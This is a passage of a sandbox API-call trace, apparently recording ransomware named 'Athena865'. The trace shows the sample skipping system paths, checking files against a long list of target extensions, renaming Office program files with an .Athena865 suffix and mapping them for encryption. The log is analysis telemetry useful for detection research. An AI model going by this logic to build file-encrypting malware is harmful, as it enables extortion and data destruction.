returned -1 [0068.794] lstrlenW (lpString="rpd") returned 3 [0068.794] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1 [0068.794] lstrlenW (lpString="rsd") returned 3 [0068.794] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1 [0068.794] lstrlenW (lpString="sas7bdat") returned 8 [0068.794] lstrcmpiW (lpString1="OT32.EXE", lpString2="sas7bdat") returned -1 [0068.794] lstrlenW (lpString="sbf") returned 3 [0068.794] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1 [0068.794] lstrlenW (lpString="scx") returned 3 [0068.794] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1 [0068.794] lstrlenW (lpString="sdb") returned 3 [0068.794] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1 [0068.794] lstrlenW (lpString="sdc") returned 3 [0068.794] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1 [0068.794] lstrlenW (lpString="sdf") returned 3 [0068.794] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1 [0068.794] lstrlenW (lpString="sis") returned 3 [0068.795] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1 [0068.795] lstrlenW (lpString="spq") returned 3 [0068.795] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1 [0068.795] lstrlenW (lpString="te") returned 2 [0068.795] lstrcmpiW (lpString1="XE", lpString2="te") returned 1 [0068.795] lstrlenW (lpString="teacher") returned 7 [0068.795] lstrcmpiW (lpString1="T32.EXE", lpString2="teacher") returned -1 [0068.795] lstrlenW (lpString="tmd") returned 3 [0068.795] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1 [0068.795] lstrlenW (lpString="tps") returned 3 [0068.795] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1 [0068.795] lstrlenW (lpString="trc") returned 3 [0068.795] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0068.795] lstrlenW (lpString="trc") returned 3 [0068.795] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0068.795] lstrlenW (lpString="trm") returned 3 [0068.795] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1 [0068.795] lstrlenW (lpString="udb") returned 3 [0068.795] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1 [0068.795] lstrlenW (lpString="udl") returned 3 [0068.795] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1 [0068.795] lstrlenW (lpString="usr") returned 3 [0068.795] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1 [0068.795] lstrlenW (lpString="v12") returned 3 [0068.795] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1 [0068.795] lstrlenW (lpString="vis") returned 3 [0068.795] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1 [0068.795] lstrlenW (lpString="vpd") returned 3 [0068.795] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1 [0068.795] lstrlenW (lpString="vvv") returned 3 [0068.795] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1 [0068.795] lstrlenW (lpString="wdb") returned 3 [0068.795] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1 [0068.796] lstrlenW (lpString="wmdb") returned 4 [0068.796] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1 [0068.796] lstrlenW (lpString="wrk") returned 3 [0068.796] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1 [0068.796] lstrlenW (lpString="xdb") returned 3 [0068.796] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1 [0068.796] lstrlenW (lpString="xld") returned 3 [0068.796] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1 [0068.796] lstrlenW (lpString="xmlff") returned 5 [0068.796] lstrcmpiW (lpString1="2.EXE", lpString2="xmlff") returned -1 [0068.796] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE.Athena865") returned 65 [0068.796] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe.athena865"), dwFlags=0x1) returned 1 [0068.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0068.800] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=225632) returned 1 [0068.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.800] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.801] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.801] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.801] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x37460, lpName=0x0) returned 0x154 [0068.802] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x37460) returned 0x170000 [0068.818] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.818] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.818] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.819] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0068.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0068.819] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.819] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.819] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.819] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.819] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0068.821] CloseHandle (hObject=0x154) returned 1 [0068.821] CloseHandle (hObject=0x17c) returned 1 [0068.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.822] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24fffe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xcf88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CODEEDIT.DLL", cAlternateFileName="")) returned 1 [0068.822] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.822] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.822] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2=".") returned 1 [0068.823] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2="..") returned 1 [0068.823] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2="windows") returned -1 [0068.823] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2="bootmgr") returned 1 [0068.823] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2="temp") returned -1 [0068.823] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2="pagefile.sys") returned -1 [0068.823] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2="boot") returned 1 [0068.823] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2="ids.txt") returned -1 [0068.823] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2="ntuser.dat") returned -1 [0068.823] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2="perflogs") returned -1 [0068.823] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2="MSBuild") returned -1 [0068.823] lstrlenW (lpString="CODEEDIT.DLL") returned 12 [0068.823] lstrcpyW (in: lpString1=0x241e89e, lpString2="CODEEDIT.DLL" | out: lpString1="CODEEDIT.DLL") returned="CODEEDIT.DLL" [0068.823] lstrlenW (lpString="CODEEDIT.DLL") returned 12 [0068.823] lstrlenW (lpString="Athena865") returned 9 [0068.823] lstrcmpiW (lpString1="EEDIT.DLL", lpString2="Athena865") returned 1 [0068.823] lstrlenW (lpString=".dll") returned 4 [0068.823] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2=".dll") returned 1 [0068.823] lstrlenW (lpString=".lnk") returned 4 [0068.823] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2=".lnk") returned 1 [0068.823] lstrlenW (lpString=".ini") returned 4 [0068.823] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2=".ini") returned 1 [0068.823] lstrlenW (lpString=".sys") returned 4 [0068.823] lstrcmpiW (lpString1="CODEEDIT.DLL", lpString2=".sys") returned 1 [0068.823] lstrlenW (lpString="CODEEDIT.DLL") returned 12 [0068.823] lstrlenW (lpString="bak") returned 3 [0068.823] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0068.823] lstrlenW (lpString="ba_") returned 3 [0068.823] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0068.823] lstrlenW (lpString="dbb") returned 3 [0068.823] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0068.823] lstrlenW (lpString="vmdk") returned 4 [0068.823] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0068.823] lstrlenW (lpString="rar") returned 3 [0068.824] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0068.824] lstrlenW (lpString="zip") returned 3 [0068.824] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0068.824] lstrlenW (lpString="tgz") returned 3 [0068.824] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0068.824] lstrlenW (lpString="vbox") returned 4 [0068.824] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0068.824] lstrlenW (lpString="vdi") returned 3 [0068.824] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0068.824] lstrlenW (lpString="vhd") returned 3 [0068.824] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0068.824] lstrlenW (lpString="vhdx") returned 4 [0068.824] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0068.824] lstrlenW (lpString="avhd") returned 4 [0068.824] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0068.824] lstrlenW (lpString="db") returned 2 [0068.824] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0068.824] lstrlenW (lpString="db2") returned 3 [0068.824] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0068.824] lstrlenW (lpString="db3") returned 3 [0068.824] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0068.824] lstrlenW (lpString="dbf") returned 3 [0068.824] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0068.824] lstrlenW (lpString="mdf") returned 3 [0068.824] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0068.824] lstrlenW (lpString="mdb") returned 3 [0068.824] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0068.824] lstrlenW (lpString="sql") returned 3 [0068.824] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0068.824] lstrlenW (lpString="sqlite") returned 6 [0068.824] lstrcmpiW (lpString1="IT.DLL", lpString2="sqlite") returned -1 [0068.824] lstrlenW (lpString="sqlite3") returned 7 [0068.824] lstrcmpiW (lpString1="DIT.DLL", lpString2="sqlite3") returned -1 [0068.824] lstrlenW (lpString="sqlitedb") returned 8 [0068.825] lstrcmpiW (lpString1="EDIT.DLL", lpString2="sqlitedb") returned -1 [0068.825] lstrlenW (lpString="xml") returned 3 [0068.825] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0068.825] lstrlenW (lpString="$er") returned 3 [0068.825] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0068.825] lstrlenW (lpString="4dd") returned 3 [0068.825] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0068.825] lstrlenW (lpString="4dl") returned 3 [0068.825] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0068.825] lstrlenW (lpString="^^^") returned 3 [0068.825] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0068.825] lstrlenW (lpString="abs") returned 3 [0068.825] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0068.825] lstrlenW (lpString="abx") returned 3 [0068.825] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0068.825] lstrlenW (lpString="accdb") returned 5 [0068.825] lstrcmpiW (lpString1="T.DLL", lpString2="accdb") returned 1 [0068.825] lstrlenW (lpString="accdc") returned 5 [0068.825] lstrcmpiW (lpString1="T.DLL", lpString2="accdc") returned 1 [0068.825] lstrlenW (lpString="accde") returned 5 [0068.825] lstrcmpiW (lpString1="T.DLL", lpString2="accde") returned 1 [0068.825] lstrlenW (lpString="accdr") returned 5 [0068.825] lstrcmpiW (lpString1="T.DLL", lpString2="accdr") returned 1 [0068.825] lstrlenW (lpString="accdt") returned 5 [0068.825] lstrcmpiW (lpString1="T.DLL", lpString2="accdt") returned 1 [0068.825] lstrlenW (lpString="accdw") returned 5 [0068.825] lstrcmpiW (lpString1="T.DLL", lpString2="accdw") returned 1 [0068.825] lstrlenW (lpString="accft") returned 5 [0068.825] lstrcmpiW (lpString1="T.DLL", lpString2="accft") returned 1 [0068.825] lstrlenW (lpString="adb") returned 3 [0068.825] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0068.825] lstrlenW (lpString="adb") returned 3 [0068.825] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0068.826] lstrlenW (lpString="ade") returned 3 [0068.826] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0068.826] lstrlenW (lpString="adf") returned 3 [0068.826] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0068.826] lstrlenW (lpString="adn") returned 3 [0068.826] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0068.826] lstrlenW (lpString="adp") returned 3 [0068.826] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0068.826] lstrlenW (lpString="alf") returned 3 [0068.826] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0068.826] lstrlenW (lpString="ask") returned 3 [0068.826] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0068.826] lstrlenW (lpString="btr") returned 3 [0068.826] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0068.826] lstrlenW (lpString="cat") returned 3 [0068.826] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0068.826] lstrlenW (lpString="cdb") returned 3 [0068.826] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0068.826] lstrlenW (lpString="ckp") returned 3 [0068.826] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0068.826] lstrlenW (lpString="cma") returned 3 [0068.826] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0068.826] lstrlenW (lpString="cpd") returned 3 [0068.826] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0068.826] lstrlenW (lpString="dacpac") returned 6 [0068.826] lstrcmpiW (lpString1="IT.DLL", lpString2="dacpac") returned 1 [0068.826] lstrlenW (lpString="dad") returned 3 [0068.826] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0068.826] lstrlenW (lpString="dadiagrams") returned 10 [0068.826] lstrcmpiW (lpString1="DEEDIT.DLL", lpString2="dadiagrams") returned 1 [0068.826] lstrlenW (lpString="daschema") returned 8 [0068.826] lstrcmpiW (lpString1="EDIT.DLL", lpString2="daschema") returned 1 [0068.826] lstrlenW (lpString="db-journal") returned 10 [0068.827] lstrcmpiW (lpString1="DEEDIT.DLL", lpString2="db-journal") returned 1 [0068.827] lstrlenW (lpString="db-shm") returned 6 [0068.827] lstrcmpiW (lpString1="IT.DLL", lpString2="db-shm") returned 1 [0068.827] lstrlenW (lpString="db-wal") returned 6 [0068.827] lstrcmpiW (lpString1="IT.DLL", lpString2="db-wal") returned 1 [0068.827] lstrlenW (lpString="dbc") returned 3 [0068.827] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0068.827] lstrlenW (lpString="dbs") returned 3 [0068.827] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0068.827] lstrlenW (lpString="dbt") returned 3 [0068.827] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0068.827] lstrlenW (lpString="dbv") returned 3 [0068.827] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0068.827] lstrlenW (lpString="dbx") returned 3 [0068.827] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0068.827] lstrlenW (lpString="dcb") returned 3 [0068.827] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0068.827] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0068.827] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL.Athena865") returned 65 [0068.827] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll.athena865"), dwFlags=0x1) returned 1 [0068.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0068.828] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=53128) returned 1 [0068.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.829] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.829] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.829] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.830] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd290, lpName=0x0) returned 0x154 [0068.831] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd290) returned 0x100000 [0068.833] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.834] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.834] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0068.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0068.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.834] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.835] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.835] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0068.835] CloseHandle (hObject=0x154) returned 1 [0068.835] CloseHandle (hObject=0x17c) returned 1 [0068.836] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.836] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.836] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.836] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337e5b00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6048cf10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x337e5b00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x2cb78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0068.836] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.836] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.836] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2=".") returned 1 [0068.836] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2="..") returned 1 [0068.836] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2="windows") returned -1 [0068.836] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2="bootmgr") returned 1 [0068.836] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2="temp") returned -1 [0068.836] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2="pagefile.sys") returned -1 [0068.836] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2="boot") returned 1 [0068.836] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2="ids.txt") returned -1 [0068.836] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2="ntuser.dat") returned -1 [0068.836] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2="perflogs") returned -1 [0068.836] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2="MSBuild") returned -1 [0068.836] lstrlenW (lpString="CONTAB32.DLL") returned 12 [0068.836] lstrcpyW (in: lpString1=0x241e89e, lpString2="CONTAB32.DLL" | out: lpString1="CONTAB32.DLL") returned="CONTAB32.DLL" [0068.836] lstrlenW (lpString="CONTAB32.DLL") returned 12 [0068.837] lstrlenW (lpString="Athena865") returned 9 [0068.837] lstrcmpiW (lpString1="TAB32.DLL", lpString2="Athena865") returned 1 [0068.837] lstrlenW (lpString=".dll") returned 4 [0068.837] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2=".dll") returned 1 [0068.837] lstrlenW (lpString=".lnk") returned 4 [0068.837] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2=".lnk") returned 1 [0068.837] lstrlenW (lpString=".ini") returned 4 [0068.837] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2=".ini") returned 1 [0068.837] lstrlenW (lpString=".sys") returned 4 [0068.837] lstrcmpiW (lpString1="CONTAB32.DLL", lpString2=".sys") returned 1 [0068.837] lstrlenW (lpString="CONTAB32.DLL") returned 12 [0068.837] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL.Athena865") returned 65 [0068.837] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll.athena865"), dwFlags=0x1) returned 1 [0068.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0068.839] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=183160) returned 1 [0068.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.839] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.840] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.840] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.840] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ce80, lpName=0x0) returned 0x154 [0068.841] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ce80) returned 0x170000 [0068.849] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.850] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.850] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0068.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0068.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) 